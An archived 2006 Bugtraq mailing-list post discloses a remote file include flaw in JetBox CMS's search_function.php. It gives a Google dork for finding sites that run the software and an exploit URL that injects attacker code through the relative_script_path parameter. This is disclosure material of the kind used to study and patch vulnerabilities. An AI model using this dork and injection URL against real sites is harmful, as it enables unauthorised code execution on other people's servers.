JetBox cms (search_function.php) Remote File Include

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: JetBox cms (search_function.php) Remote File Include
From: carcabotx@xxxxxxxxx
Date: 28 Aug 2006 13:08:08 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

############################################
Found by : CarcaBot
--
E-mail : CarcaBotx [at] Yahoo [dot] com
--
$relative_script_path.'/libs/htmlheader.php
--
Exploit
--
# Google Dork: powered by Jetbox CMS
--
http://www.sitename.com/path/includes/phpdig/libs/search_function.php?relative
_script_path=[Evil Code]
--
Greets goes to : CarcaBot Administrator of Romanian Electronic Network Security 
Lab Team http://Hacking.CarcaBot.ro - Best Romanian Hacking Source

Follow-Ups:
- AW: JetBox cms (search_function.php) Remote File Include
  - From: Frank Reißner

Prev by Date: interact <= 2.2 (CONFIG[BASE_PATH]) Remote File Include Vulnerability
Next by Date: Re: Another YabbSE Remote Code Execution Vulnerability
Previous by thread: interact <= 2.2 (CONFIG[BASE_PATH]) Remote File Include Vulnerability
Next by thread: AW: JetBox cms (search_function.php) Remote File Include
Index(es):
- Date
- Thread